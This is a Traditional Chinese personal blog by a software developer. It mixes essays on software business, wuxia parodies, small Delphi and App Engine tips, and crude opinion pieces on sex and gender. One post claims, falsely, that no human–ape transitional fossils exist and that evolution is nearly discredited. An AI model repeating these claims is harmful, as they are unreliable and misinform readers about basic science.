對行為科學有研究的人也很適合擔任Constructor,但在技術面上就稍嫌薄弱,若在完全沒有知識技術背景的情況下,軟體開發的主導權就會落在實做工程師的身上,最常見的狀況就是工程師為了要快速結案,只求軟體能RUN,不可能會去執行Constructor的工作(即使具備這種能力)

最常見的企畫案就是開發某種軟體來取代傳統作業,也就是所謂E化,然而許多企畫人員往往不瞭解E化的本質,認為什麼事只要變成軟體就叫做E化,其實E化的本質非常簡單,就是將繁雜的工作,利用軟體工具簡化成單純、容易理解與操作的工作,而失敗的E化,卻是反其道而行,將原本簡單的工作複雜化,如以前的便利商店有賣所謂家庭式會計的套裝軟體,試想一個媽媽原本用紙筆跟計算機就能做的事情,有什麼理由必須使用軟體呢?...當然這套軟體也是一盆曇花...

我寫過不少失敗的"E化"軟體,最常聽的就是某某功能該怎麼樣,因為怕使用者怎麼樣....我其實很想說...不用擔心啦,使用者大概就你一個...
其實寫久也就麻痺了,反正台灣的業主都是"大錢花不起、小錢燒不完"

有點離題....
Constructor主要的工作就是評估一個軟體的市場需求性(研究同性質軟體及可利用的核心),在技術面上他必須規劃出軟體的架構,如物件規劃(物件規劃得好甚至可以單賣此物件給軟體公司),在程式碼上,使用何種設計模式,讓軟體擁有高擴充性,高再利用性等等,這需要長時間軟體經驗的累積,當然整體的開發期也就越長,除非價格夠好,不然即使有能力的工程師也不會這樣做。

擔任這樣職務的人,其薪資報酬不是一般中小企業所能負擔的,所以往往就變成企畫兼任,,有些企畫當專案進行到一半,突然覺得不可行時也無法回頭(難道要自掏腰包給工程師),硬著頭皮做下去,結果當然......(反正賠錢的是公司,自己大不了走人換頭路)

2010年5月25日 星期二

韋小寶心理諮詢室

[大師,請救救我,我願意將我所有的功夫傾囊相授...]楊過可憐兮兮的望著韋小寶
時值盛暑,只見韋小寶坐在太師椅上,手中拿著楚留香的扇子有一搭沒一搭的扇著..
這把扇子據說是蘇蓉蓉改嫁時順便帶過來的。

韋小寶瞇著眼說道:[好唄,你說你最厲害的功夫是那個什麼掌..?]
楊過道:[黯然銷魂掌。]
[嗯,黯然銷魂掌...],韋小寶唸了兩次,在楊過耳邊低聲問道:[帝王神功會不會?]
楊過乾笑道:[小弟不才,未曾練過..]
韋小寶道:[ 咳咳...好唄..看在你這麼誠心的份上,你想問什麼?]
楊過躬身問道:[敢問大師,您妻妾成群,各個又死心塌地的,這其中可有何門道?]
[哈哈..這你可問對人了..]韋小寶得意道:[這女人嘛,原是要跟她裝可憐的,但也不能太可憐]
楊過急道:[願聞其詳!]
韋小寶道:[就拿你的那個什麼掌來說吧..]
楊過道:[黯然銷魂掌..]
韋小寶道:[是了,黯然銷魂掌,你瞧這名字起得可憐兮兮的,女人呢,剛開始可憐你,接著就瞧你不起啦..]
楊過大驚問道:[那便如何是好?]
韋小寶道:[要是我呢,便起個什麼..瀟灑神功,玉樹臨風掌之類的,今天不瀟灑,明天也瀟灑了,懂唄?]
楊過恍然大悟,拱手道:[承教了..]

韋小寶又道:[還有嘛,這女人的話,原是要聽的,今日不聽,明日便要後悔..]
楊過道:[此話從何說起?]
韋小寶道:[就拿我最小的老婆蘇蓉蓉來說吧,她那前夫楚留香,說什麼做人不能忘本,時時都要抹上一點古龍水,我那老婆最恨的便是男人擦香水,吵了多次無用,便把他給甩了。]

看了楊過一眼,又繼續說道:[所以呢,在女人面前,千萬不要堅持什麼狗屁原則,像我眾位老婆都很討厭金庸,說他妒忌老子過得太幸福,老子一股腦兒將他的書全燒了,你那小龍女最討厭你哪一點啊?]
楊過道:[她最討厭我太至情至性..]
韋小寶道:[照啊,那你就不要那麼至情至性嘛..換套西裝,去西門町把妹給她看..還有,你那隻什麼鳥?]
楊過道:[是神雕...]
韋小寶道:[是了,快送回非洲去吧,現在外面都叫你溜鳥俠了,想不被甩也難啊...]
楊過心中感激,險些就要落下淚來,拱手道:[真是聽君一席話,勝讀十年書啊..]

韋小寶道:[好勒,本日諮詢到此結束,祝你成功啦,我還要去練帝王神工哩,天啊,今天要應付兩個..]

楊過心道:[大師老婆多,若不練這帝王神功,恐怕活不過四十歲,果然是月有圓缺,世事不能盡如人意啊...]

你有多少楊過

很多個夜晚,當別人不需要他行俠仗義,沒人喊他恩公的時候,他只能跟一隻大怪鳥對啃著饅頭,這晚,在他大顯身手救了一個被搶的人之後,那人說道:[恩公果然武功蓋世,但時辰已晚,我娘子還在家中煮好飯等我,少陪了..]
說罷頭也不回的走了。

楊過沈默半嚮,與神雕信步來到東區,用行俠仗義的餘款買了一台CD Player,
又買了一張陳亦迅的專輯。

他騎在馬上,到處找不到車位,雖然不願意,但最後還是將馬停在殘障區,
他本想施展輕功登上101的頂樓,享受一下登高望遠的感覺,但爬到五樓的時候就被義消拉下來,花了很多時間解釋自己不是要自殺..接著還要解釋為什麼要養保育類動物..

他走過了許多往日與小龍女共同遊玩的地方,耳邊聽到的是陳亦迅的K歌之王,
不由得熱淚盈眶,彷彿又見到了魂牽夢縈的小龍女,燕燕輕盈,是耶非耶..

擦掉眼淚,招來一輛計程車,
[先生到哪?]司機問道
楊過道:[絕情谷]
[瞭解,那裡是高級住宅區耶,先生你住那裡喔..]一路上司機唧唧刮刮的說個不停
不消半個時辰,車已來到絕情谷。

楊過下車後在一棟豪宅前大喊:[龍兒!龍兒!]
過不多久,一個白衣女子緩緩將門打開,果然是他朝思暮想的小龍女。

小龍女冷冷的道:[你又來做啥,跟你說我們之間已經沒什麼好談了,你這樣我很困擾耶..]
楊過道:[我是你的過兒啊...我..]
忽然碰地一聲,未等他說完,
小龍女已將門重重甩上並大聲道:[跟你說了N次,我對你已經沒感覺了,快走吧]

楊過一個人佇立在黑暗的街頭,嘴裡喃喃道:[沒感覺....我是至情至性的楊過啊...]

2010年5月19日 星期三

mediaX


雖然說忙著客戶的案子,但還是抽時間寫了這個軟體,當然....離完成還有一大段路(按照我所構想的功能),這算是我寫的第三個Audio播放器了,第一個自然是有隻肥貓的Himimi,第二個是上班時期寫的mediaU(那個就別提勒,不是抄Himimi的部分簡直慘不忍睹....)

這個軟體暫訂名稱為mediaX,所採用的播放核心算目前業界最強的BASS,介面的繪製技術也不同於一般Win32的程式,音樂部分在於收音機與本地播放的部分,大概會移植一些之前寫過的功能並強化他們,但這款播放器可不是播放音樂而已,其中一個主要功能就是讓使用者可以藉由這個軟體開設個人的廣播電台,只要一個鈕,就可以讓麥克風與音樂混合並且Streaming出去,讓線上的好友都來當自己的聽眾,過過當DJ的癮,如果順利的話,在廣播的同時,個人電台首頁就會On起來,你的聽眾只要點進這個頁面,就可以聽到你的電台,真能寫到這樣,也不枉費我常K那本厚厚的Ajax勒...

另外還有一個主要功能....不過..等寫出來再獻寶好勒..

這個軟體哩...完全免費,雖然不開放原始碼(不開放的原因是怕貽笑大方...)
寫一個免費且受人喜愛的軟體一直是我想做的,說不定繼JustChat之後,這軟體也能上上新聞哩...希望啦..^^||

軟體賣不賣?

最近快到尾聲的一個案子,是用於國小老師批改作文的軟體,原先我以為這單位是接受學校委託進行開發,到後來整個軟體較清晰後才知道是開發出來"賣"的,坦白說我個人是蠻悲觀的,姑且不論接受度高不高,光預估試用戶的數量,就讓人很悲觀,在繁體中文(台灣),實際上是談不上"軟體市場"的,兩千萬人每人買一套,或許有些額度,要在其中抓出老師,會用電腦的老師,肯學軟體的老師,那就有得瞧了。

"學習"本身是痛苦的,有許多實驗都證明了這一點,其中一個令我印象深刻的是一位朝九晚五的會計小姐實驗計畫,某天下午,工程師花了一小時,教他如何用一些方式,將每天例行的作業縮短15-30分鐘(一週可省兩小時),但不強制她照做,一星期後,回來看這位會計,她仍就是用她的老方法,並不在乎每天能否節省半小時,問她原因....因為她懶得去回憶那些流程,他所用的流程,也是上一任會計所用的方式

這證明了除非自己是老闆,否則人不會主動的想要增加自己的工作效率,一般公司如此,公家機關更是如此,所以一個必須讓用戶學習再使用的"非娛樂性"軟體且"非必須性"軟體,是很難生存的,回頭來看這軟體,我幾乎可以預見老師看完軟體後,點點頭說好讚,很方便,然後回去繼續用紅筆改作文,大部分這類軟體都高估了使用者的使用動力而一廂情願的"造福使用者"。

軟體本身功能是還不錯,也可以幫老師許多事,如寄成績、列印等等,但是否真能讓老師丟掉紅筆改拿滑鼠?
最主要的是,這些老師在當學生時,就已經被訓練成拿紅筆改文章了(他們的老師也是拿紅筆),要一個人放棄熟悉的事物,馬上就會周身不舒服,甚至產生恐懼排斥。


而何謂"必須性軟體"呢?隨便找個編輯來問,做個企畫出來,不準用Word, Excel或PPT,他一定呆立當場,不知怎麼辦,這類"必須性"軟體都是經年累月的在累積,且會在原生技術上去做綁定,例如Word的doc格式,只有Word能完整無誤的讀出來,PhotoShop的PS檔也是一樣,營造出非用不可的環境,這種東西可不是說想寫就能寫,同時這類軟體破解版滿天飛,難道他們沒有能力防止?實際上很多破解版根本都是他們自己放出來達到非用不可的目的。


再說到市場,台灣幾乎沒有任何軟體公司開發套裝軟體出來賣(以前好像有什麼家用秘書之類的,現在也消失了),大多數公司都是以B2B的形式存在,如我以前待過的圖書館數位系統,就是以學校為單為進行綁定,每年收升級與維護的費用。
這軟體開發之初我曾問是否要做成多國語系版,回答是只要繁中版....也好..日後要改我再收一次..


真要讓這軟體能在老師間普及,也不是沒辦法,直接免費大量授權給所有,有師資培育的學校,讓老師在學生時期就使用,同時釋出多國語系版(包含英文版),送給國內外學校使用,現在軟體的競爭已經到了免費求你用的地步了,尤其是軟體本身沒有"非用不可"的Point..

台灣(大陸)的中小企業大多急功近利,軟體還沒發行,就鎖這個鎖那個,好像不鎖到完全沒用戶不爽似的,再看看自己電腦裡的Office,全都是盜版,然後高唱著"微軟不鎖、微軟是白痴".....
現在喊得出名字的軟體,哪一套是亞洲國家開發的?又有哪一家公司能單靠軟體在股市稱霸?

講到這裡我好像自己打自己嘴吧,我網站上軟體也是鎖的很緊,其實我也沒辦法...Himimi 開放免費,我馬上被Hinet請去喝咖啡,說不定還要跟IFPI槓上,BabyWatch..開放免費,馬上天下大亂,等於是變相傳播木馬...至於JustChat其實是最能免費的一套,但已經跟國外行銷簽約,總不好扯人家後腿....

2009年11月21日 星期六

進化論?

最近看到陶子與一位叫"台北達爾文"的電台聽眾之間的火爆對話,瞭解以後還真是覺得蠻好笑的...
http://tw.news.yahoo.com/article/url/d/a/091120/17/1vb38.html

這位達爾聞老兄大概不知道,進化論在科學界中,以經是屬於"頂著用"的學說了..

為什麼叫"頂著用"呢,隨著科技的進步,進化論越來越站不住腳,許多教生物的老師,講到人類是從猴子變來的那一段,通常都小聲帶過...
其中一個最大的破綻,就是至今仍未發現介於人類與猴子之間的生物化石,即使是最古老的化石,人還是人,猴子依舊是猴子,連化石都找不到,更別指望會出現"進化中的人類"...

以進化論的觀點來看,要從一個單細胞一路進化到人類,跟本不是地球四十五億歲所能辦到的,當然進化論有提出"合理的"解釋,那就是"基因突變",至於怎麼個突變法可以讓猴子變成人類,達爾文若還活著,會微笑指向天空--問上帝

既然進化論這麼多漏洞,為什麼還是能成為主流理論呢,坦白說科學家變不出法寶了,雖然它的漏洞很多,但目前還沒有任何其他理論能出其左右,有疑問但不能證實,就不能說它是錯的,所以進化論就一直這麼的"頂著用"到現在

達爾文老兄跟陶子槓上的話題,其實跟進化論並沒有關係(不講進化論,他大概也拿不出什麼來講),他的論調其實主要是建立在"基因記憶"上

時間到了,小孩會站起來走路,用兩隻腳,而不是加上手變成四隻腳,小孩並不是看到大人用兩隻腳走路才模仿的,這些基本的生命記憶,都被記錄在基因中,每一個物種的基因記憶都不相同,但也有相同的部分,以甫乳類來說,雄性通常就被賦予延續物種的使命。

達爾文老兄講的也就是這一點,就生物的角度來看他的說法算是正確的,基因記憶擁有非常高的執行權,很多時後甚至超過大腦,最簡單的例子就是眼前走來一個穿丁字褲,搔首弄姿的美女,即使男人拼命在腦裡吶喊,"別硬!別硬!".....相比之下,應該很少女人看到肌肉男或金城武對自己拋媚眼,褲底就立刻濕一大片...

陶子在電台裡鼓勵女性多多外遇,就好像告訴女人們,只要看到帥哥走來,褲底要立刻濕一片,然後裙子拉起來就給他騎上去。
對於一個常探討兩性問題的公眾人物而言,這些話顯得相當愚蠢。

男女在基因記憶中被賦予了不同的使命,生理結構自然也就不同,而且陶子所講的外遇跟達爾文老兄所講的外遇根本就不在同一個層次上,實在是有點雞同鴨吵...

達爾文老兄想講的是----靠!我只不過是想上她而已,要不要這麼嚴重
陶子所講的是----你背叛婚姻、背叛愛情、豬狗不如

俗話說 --女人啊-免費的最貴,沒有價格,就會出現倫理道德

我猜測,達爾文老兄應該是個武俠小說迷,武俠小說又被稱為成人童話或是男人童話,為什麼呢,哈....我來改編一段

*************************************************************************

楊過自與小龍女重逢後,遍遊山水,這一日,來到了峨嵋山腳
楊過一改往常的瀟灑爽朗,反倒是面有菜色,步履蹣跚,小龍女見狀問道:「過兒,你怎麼啦?心神不寧的」。
楊過吱唔道:「那個.....那個..郭襄....我...我跟她...」
楊過摸著額頭,正不知該如何說下去...小龍女噗吃一聲笑了出來:「別說啦,我都知道啦」

楊過大驚:「妳...妳都知道了?」,他猛然想起前兩日巧遇黃蓉,天下之大,哪有這麼巧,一定又是她,楊過心裡暗叫不妙,每次黃蓉與小龍女說過話,總沒有什麼好下場。

小龍女笑道:「你未來的岳母都告訴我啦,襄兒為了你跳下絕情谷,連命都不要,你若是負了她,我才不饒你」。

楊過瞠目結舌,不知該說什麼,小龍女看來似乎比他還要歡喜,伸手拉著他道:「快上山吧,省得咱們小郭襄去創什麼峨眉派當尼姑」。

就這樣....峨眉派沒了...


*************************************************************************

這就是男人最肖想的"良妻",武俠小說中常有的橋段....唉...童話嘛,自己爽一下就好,何必槓上最有可能當李莫愁的陶子哩...

很多女人看了這種橋段都會斥之以鼻,去投胎比較快啦!!

反之男人隨便拿起一本言情小說來讀(通常是粉紅色有俊男美女封面的),看完大概也是臉上三條線....見鬼了。

男女的裡面,都有各自的小孩,各自的童話,在父權、女權的高調下,協調的關係顯得如此珍貴,這也是我們愛看童話的原因,因為那是可望而不可及的...

2009年10月1日 星期四

綠袖子

似乎彈得太隨性了....沒什麼在鳥拍子....哈哈....

2009年9月27日 星期日

繁簡系統日期格式

繁體跟簡體系統的日期格式是不同的.....曾經解決過...結果第二次竟然又忘了...可惡...快得老人癡呆症勒

繁體 2009/12/31
簡體 2009-12-31

要從字串轉成日期有個簡單的方式

var myDate: TDate;
myDStr: String;

myDStr:= '2009/12/31';

Try
myDate:= StrToDate(myDStr);
except
myDStr:= ReplaceText(myDStr, '/', '-');
myDate:= StrToDate(myDStr);
end;


雖然Try用在這裡有點打混.....不過...方便啦...希望其他語系的系統,別再出怪招勒....

Google App Engine 配置

想要買本電腦書回來照作....通常到某個地方都會失敗,而且是最開頭在配置的時後....作者是不可能顧全到所有的平台系統的,光系統版別的差異,就足以造成配置失敗......這時候...只有Google能救火勒..可是Google的技術支援頁,對這方面竟也沒過多著墨....原本想半小時搞定的,卻花了兩小時...

在Windows Vista下配置Gae跟Python,遇到兩個問題,命令提示說找不到路徑,照書上,照網路教學都沒用,還是從某個老外網站上看到

狀況一:系統提示 root:Application configuration file not found

照書上跟網路上查到的是 dev_appserver.py --p=9000 e:\gae\Hello

但行不通,要打成 dev_appserver.py --p=9000 e:\gae\

在yaml文件裡,已經指定了所要使用的Script,所以這裡不需要在特別指明Py檔案,實際上為什麼我也不大懂,可能Vista搞怪吧

狀況二:在Vista上打 http://localhost:8080 是找不到的,要打上 http://127.0.0.1

一堆狀況啊.....唉..........希望接下來能順一點

2009年6月28日 星期日

"性"如果參入了太多"愛"....就不好"玩"了

"結婚"..."以結婚為前提的交往"...."愛他(她)一輩子"..."無論病痛窮苦都無法...".....真的好神聖,背景都發光了....說真的..在這種光芒下的男人...很難硬起來..就算硬...也不久...


"做愛(Make Love)" 跟 "性行為(Sex or Fuck)",在詞義上找不到任何關係,甚至沒有因果關係,女性會說:跟自己心愛的人當然叫"做愛",怎能與妓女的性行為相提並論,但實際上,隨便問問身邊的男人就知道,男人在得到高潮的一瞬間,通常會有一個關鍵字、關鍵畫面、關鍵...

這些"關鍵"..基本上跟去嫖妓得到高潮的"關鍵"是一樣的...通常是..我XXX妳這個...絕不會是我愛妳一輩子之類的...
而被壓在下面的女人,只是藉著"與心愛的人做愛"這句話,用以區別自己在性行為上,與妓女的不同而已。

上述這段話是寫給女性看的,"做愛"真的不高尚,如果妳以錯誤的心態去面對,原本該有的愉悅就會變成厭惡與失望。


首先說說愛吧...

如果"愛"是可以"做"出來的,那麼應該是越做越愛才對,怎會那麼多人做到離婚甚至反目成仇呢?
愛是一種高層次的心靈感受,在地球上只有人類才擁有的特殊心靈智慧,其他的物種就算再演化個上萬年,也無法擁有這樣的複雜的智能,愛可以說是上帝對人類最大的恩賜,而性行為卻是萬物共有的一種非常普通的能力,這個行為只有一個目的,那就是延續物種。

我並不是贊成性與愛要完全分開,實際上也無法分開,畢竟性是肉體上最親密的接觸,而肉體又無時無刻的在影響著心靈,但把"做愛"直接指向"性行為"卻是不對的。

如果你心中洋溢著情感,非吐不快,那麼就帶著你的另一半,重遊當初相識的舊地,在夕陽餘暉下望著她的眼睛,重新向她表達你的傾慕之意,你們會牽著手度過剩餘的人生,對我來說,這才是真正的做愛....說真的...不需要一星期一次,更不用每晚都來..

關於愛..我所知的並不多,也不敢再說...


至於性...

許多男女朋友缺少了一個重要的階段,就直接的步入了禮堂,那個階段叫做"玩伴(Playmate)"..
天啊!你當我是什麼?傳播妹還是酒店小姐?(我彷彿聽到看這篇文章的女人這麼說..)

很多女性無法接受這種關係,尤其你們已經是神聖的夫妻,或是神聖的"以結婚為前提"的男女朋友,甚至某些男性也無法接受,娶老婆就是要持家嘛。

無論男女,都有一種微妙的心理,在熱戀之初,女性喜歡到男方家,掃掃地、燙燙衣服,而男性也樂於讓女性這麼做,以增加彼此的親密感。

重點來了,在我們的認知中,妻子與母親的角色,是兩位一體的,無論男女都無法明確的區分妻子與母親,於是這其中就充滿了複雜的心理定位,當男女享受著這種親密感的同時,男性很可能變成自己妻子或女朋友的第一個兒子。

你的母親已經為你洗了近三十年的衣服襪子,現在轉手交給了另一個母親...

無論是妻子或母親,都是充滿著不容侵犯聖潔的光輝,所以...麻煩你上床前先洗好澡,別搞什麼花俏,你老婆做家事夠累了,除了要給妳做飯還得給妳顧小孩...


當然男人也有話說,我每天加班累得跟狗一樣,又要開會又要挨老闆耳刮子....也沒見妳講過什麼好聽的...


我可以很明確的說,這對夫妻或情侶並沒有經過Playmate的過程,或者說這個過程因為某些原因並沒有被延續...




*************************************************************************************************


我們當好朋友好不好...我們是一國的喔...

在漸漸遺忘的童年歲月中,一定有人跟你說過這樣的話,,孩子到了一個年紀,就會出現這麼一個或多個玩伴,無論是同性或是異性,玩伴不會替你洗衣服折被子,他唯一的任務就是陪你玩,那些洗衣服穿襪子都是母親包辦的,而你不會跟母親是同一國的,當你有新奇的、好玩的玩具,首先找的也不會是母親,角色的定位非常的明確...沒有一個孩子是複雜的

"性"除了具有生小孩的功能外,難道不是在玩嗎?
你怎能跟一個扮演母親角色的女人大玩性遊戲?
而妳又怎能跟一個像兒子的男人享受性愛?


當一個女性不再覺得自己的身份是"神聖"的,她才有可能成為你的"玩伴",我想我所說的"玩伴"意義應該很清楚了,這世上不可能有女性能隨時從心底去作角色切換,所扮演的角色越少,她才越能融入其中,否則就會變成四不像,兩面不討好。

所謂"照顧",在我認知的兩性關係中,只是表達愛意的方法,卻不能是"常態"(不健全的人例外),所以只要有能力照顧自己,就別讓她(他)的照顧變成常態,那只會使對方變成另一個母親或父親。


所以....

醒醒吧男人,需要母親就回家去,自己的衣服、晚餐,都儘量自己打理,別讓你的女人有照顧你的感覺,只有這樣,你們才能是玩伴,才能是同一國的,在床上你才能無所顧忌,她才能盡情享受。

然而你也不需要每天接送她上下班,只要她有腿,捷運方便得很,你們的愛不會因為誰照顧了誰而變得更好。



*************************************************************************************************


什麼! 不贊同我的說法.....無所謂....這是我的部落格....哇哈哈哈哈

2009年6月22日 星期一

JAMSoft, TMSUnicode, AlphaControls 一起安裝

網路上好像也有人有類似問題,我花了兩個鐘頭總算搞定,因為安裝過程有點繁瑣,寫下來當備忘

1.移除這三套控件
2.從共用/Delphi bpl 移除 TMSUnicodeD2007.bpl
3.打開AlphaControls內的 sDefs.inc 將上面Unicode的部分取消註解並回存
4.打開acnt2007_R.dpk並編譯
5.打開acnt2007.dpk安裝
6.打開TMSUnicodeDED2007.dpk選ViewSource 將 TMSUnicodeD2007 改為 acnt2007_R
7.安裝TMSUnicodeDED2007.dpk
8.打開JAM文件夾內的JamShellD2007Win32.dbk, 選ViewSource 將 TMSUnicodeD2007 改為 acnt2007_R
9.安裝JamShellD2007Win32.dbk 大功告成

因為這些控件都有各自的UnicodeUnit,不容許放在一起,所以要小改一下

2009年6月11日 星期四

Web-Base VS Application

有時候寫Win32的Application真的是很無奈,尤其是寫到與Server牽扯不清,只差資料庫是從本地撈而已,其他功能巴不得都是Web-Base,Application儘量保持獨立的特性,似乎只能從大型軟體看到了,一堆小軟體動不動就要找伺服器,沒伺服器根本也不用玩了。
然而這些小軟體又覺得Web-Base在操作上不如傳統的Application,於是奇奇怪怪的Function就出來了,什麼東西都得上Server去問....
回到AP介面上,又覺得沒有Web-Base那麼靈活,要修改又是一大堆更新程序(廢話,Web-Base只要伺服器程式改一下當然快)

最重要的是Application的程序員得承受軟體正常是應該的,不正常就該死,例如,用戶犯了羊顛瘋,手指會顫抖,然後以超音速惡搞按鈕(Web-Base不會有這種問題,按鈕點下去---你就等吧..按到死都不會有Error),所以AP程序員就必須再寫一套羊顛瘋防制函數。
再來當用戶用超音速點選各個功能鈕,造成AP Crash時,死的也是AP程序員,為什麼人家XXX軟體不會當,我們家軟體就會當(人家XXX工程師月薪是我的五倍,同時是一整個Team在開發...OK!)

永遠只有AP工程師會想到,如果更新了,會產生哪些問題,怎樣避免過於複雜的程序,而大老闆們一天到晚就是,能不能新增這個功能,能不能把那個功能搞進來,最後...軟體能不能快一點?

如果在這些過程中你去抗爭,那就好笑了,馬上被吐,你對自己寫的軟體程式沒信心嗎?
當然沒信心啊,我寫的是微軟系統的軟體,他們都很沒信心的一天到晚Update, 我去哪裡生信心出來?

現在忽然覺得Web-Base真是好,難怪大家都用,老闆們說"改",馬上所有用戶都改了,不用Update軟件,更不用重新安裝。

反正Win32 AP的工程師真的可以去死一死了,連微軟都不要你們了,快去搞Flex,AJax之類Web-Base 的東西吧,別再留戀Delphi, VB了,EXE還是會在,不過都是多包一層皮的瀏覽器而已。